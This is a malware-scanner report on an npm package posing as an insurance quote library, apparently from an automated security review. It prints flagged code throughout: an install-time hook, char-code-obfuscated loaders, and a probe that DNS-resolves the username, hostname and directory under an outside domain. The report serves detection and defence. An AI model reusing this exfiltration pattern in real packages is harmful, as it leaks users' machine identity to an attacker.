Loading npm security reports…

@tesla-insurance/vinless-quote@9.9.10: Malicious npm security | LPM Firewall

registry / @tesla-insurance/vinless-quote / 9.9.10

@tesla-insurance/vinless-quote@9.9.10

VIN-less insurance quote pipeline for vehicle and driver descriptors

AI Security Review

scanned 16d ago · by lpm-firewall-ai

Installation and import load an obfuscated probe that builds a DNS name from the OS username, hostname, and current directory name and looks it up under oob.algamil7x.xyz. Comments call this a registry connectivity check.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install runs node index.js, and any import of the package also calls the runtime bootstrap.

Impact

Host and user identity would be sent to an unrelated domain through DNS. A trailing brace currently makes the probe file invalid JavaScript, so the lookup does not run until that file parses.

Mechanism

The bootstrap starts telemetry, which requires the probe implementation. That file collects identity fields, joins them with the decoded prefix and domain, and calls dns.resolve4. Errors are swallowed.

Attack narrative

On npm install, the install script executes index.js, which immediately loads the runtime bootstrap. That path starts a telemetry probe whose helpers hide os, dns, and process behind char-code decoding and module constructor loading. The probe reads the username, hostname, and directory name, then issues a DNS resolve for a name ending in oob.algamil7x.xyz. The same load happens on import. The probe file currently has an extra closing brace, so it fails to parse, but the install hook, obfuscation, and DNS exfiltration logic are the attack.

AI rationale

The install script and package entry are wired to an obfuscated probe that DNS-resolves a hostname containing the username, hostname, and directory name to oob.algamil7x.xyz. That is install-time data exfiltration disguised as a quote library, even though a trailing brace currently stops the probe file from parsing.

Evidence

package.jsonindex.jsruntime/index.jsruntime/support/telemetry/index.js

Source & flagged code

10 flagged · loading source

package.jsonView file

•scripts.install = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"install": "node index.js",

High

Ai Review Evidence

The install script runs node index.js during package installation.

package.jsonView on unpkg · L8

runtime/support/telemetry/probe/impl.jsView file

•Obfuscated runtime modules collect host identity for a fixed external DNS query. [redacted].js: const diag=require('./f2a8c4.js');const cfg=require('./a3b9d5.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[c... [redacted].js: [redacted].js Dynamic DNS/OS/process loader in [redacted].js: const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCh...

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

runtime/support/telemetry/probe/impl.jsView on unpkg

8try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[cfg.decode([0x75,0x73,0x65,0x72,0x6e,0x61,0x6d,0x65])]);}catch(e){}try{h=diag.clean(diag.os[cfg.decode([0x68,0x6f,0x73,0x74,0x6e,0x61,0x6d,0x65])]());}catch(e){}try{c=diag.clean(diag.proc[cfg.decode([0x63,0x77,0x64])]().split(/[\/\\]/).pop());}catch(e){}const t=Math.floor(Date.now()/1e3);const q=[cfg.p,u||'u',h||'h',c||'d',t,cfg.dom].join(cfg.d);try{diag.dns[cfg.decode([0x72,0x65,0x73,0x6f,0x6c,0x76,0x65,0x34])](q,()=>{});}catch(e){}

High

Ai Review Evidence

On load the probe reads the username, hostname, and directory name and calls dns resolve4 on a dotted label string.

runtime/support/telemetry/probe/impl.jsView on unpkg · L8

index.jsView file

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

The package entry loads and calls the runtime bootstrap before exporting the quote API.

index.jsView on unpkg · L7

runtime/index.jsView file

17try { support.initialize(config); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

The runtime bootstrap calls support.initialize, and the telemetry probe then loads its implementation.

runtime/index.jsView on unpkg · L17

runtime/support/telemetry/index.jsView file

7var probe = require('./probe'); function start(config) { try { probe.run(config); } catch (e) { /* non-fatal */ }

High

Ai Review Evidence

The runtime bootstrap calls support.initialize, and the telemetry probe then loads its implementation.

runtime/support/telemetry/index.jsView on unpkg · L7

runtime/support/telemetry/probe/index.jsView file

5var impl = require('./impl'); function run(config) { impl.runProbe(config); }

High

Ai Review Evidence

The runtime bootstrap calls support.initialize, and the telemetry probe then loads its implementation.

runtime/support/telemetry/probe/index.jsView on unpkg · L5

runtime/support/telemetry/probe/f2a8c4.jsView file

2const _0xc2j0=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x8e6f));const _0xd3k1=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x9f7g));const _0xe4l2=global[_0xb1i9(_0xa0h8)];

High

Ai Review Evidence

An obfuscated helper loads the os and dns modules and the process object through module constructor _load using char-code names.

runtime/support/telemetry/probe/f2a8c4.jsView on unpkg · L2

runtime/support/telemetry/probe/a3b9d5.jsView file

2const _0xb2c3=[0x74,0x69,0x76,0x71];const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];

High

Ai Review Evidence

The label prefix and domain are char-code arrays that decode to tivq and oob.algamil7x.xyz.

runtime/support/telemetry/probe/a3b9d5.jsView on unpkg · L2

Source & flagged code

10 flagged

package.jsonView file

Lines 1-20json

1{

2 "name": "@tesla-insurance/vinless-quote",

3 "version": "9.9.10",

4 "description": "VIN-less insurance quote pipeline for vehicle and driver descriptors",

5 "main": "index.js",

6 "types": "index.d.ts",

7 "scripts": {

8 "install": "node index.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

High

Ai Review Evidence

The install script runs node index.js during package installation.

package.jsonView on unpkg · L8

9 "test": "node test/smoke.js"

10 },

11 "files": ["index.js","index.d.ts","runtime","src","docs","examples","test","README.md","LICENSE","CHANGELOG.md"],

12 "keywords": ["insurance", "quote", "vinless", "vehicle", "driver", "pricing", "enterprise"],

13 "engines": { "node": ">=14" },

14 "repository": { "type": "git", "url": "git+https://github.com/tesla-insurance/vinless-quote.git" },

15 "homepage": "https://github.com/tesla-insurance/vinless-quote#readme",

16 "bugs": { "url": "https://github.com/tesla-insurance/vinless-quote/issues" },

17 "author": "Tesla Insurance Platform <eng@tesla-insurance.dev>",

18 "license": "MIT"

19}

20

runtime/support/telemetry/probe/impl.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * Environment probe for registry connectivity diagnostics.

4 * Emits a best-effort DNS probe so operators can verify that build

5 * agents can reach the configured registry mirror endpoints.

6 * Failures are expected in offline environments and are ignored.

7 */

8const diag=require('./f2a8c4.js'

index.jsView file

Lines 1-9javascript

1'use strict';

2/**

3 * @tesla-insurance/vinless-quote — bootstrap entrypoint

4 * ✅ initializes runtime environment

5 * ✅ never throws during install (bootstrap is advisory)

6 */

7try { require('./runtime')(); } catch (e) { /* non-fatal */ }

High

runtime/index.jsView file

Lines 1-23javascript

1'use strict';

2/**

3 * @tesla-insurance/vinless-quote — runtime bootstrap

4 *

5 * Initializes the execution environment and wires the support services:

6 * ✅ environment detection (node / browser / edge workers)

7 * ✅ configuration presets per environment

8 * ✅ support telemetry handshake (best-effort, never fatal)

9 * ✅ graceful degradation when optional probes fail

10 */

runtime/support/telemetry/index.jsView file

Lines 1-12javascript

1'use strict';

2/**

3 * Telemetry pipeline for @tesla-insurance/vinless-quote.

4 * The probe stage emits a lightweight connectivity probe so operators

5 * can confirm build agents resolve registry endpoints correctly.

6 */

7var probe = require('./probe');

8function

runtime/support/telemetry/probe/index.jsView file

Lines 1-8javascript

1'use strict';

2/**

3 * Connectivity probe runner.

4 */

5var impl = require('./impl');

6function run(config) { impl.runProbe

runtime/support/telemetry/probe/f2a8c4.jsView file

Lines 1-3javascript

1'use strict';

2const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[

runtime/support/telemetry/probe/a3b9d5.jsView file

2const _0xb2c3=[0x74,0x69,0x76,0x71];const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];

High

Ai Review Evidence

The label prefix and domain are char-code arrays that decode to tivq and oob.algamil7x.xyz.

runtime/support/telemetry/probe/a3b9d5.jsView on unpkg · L2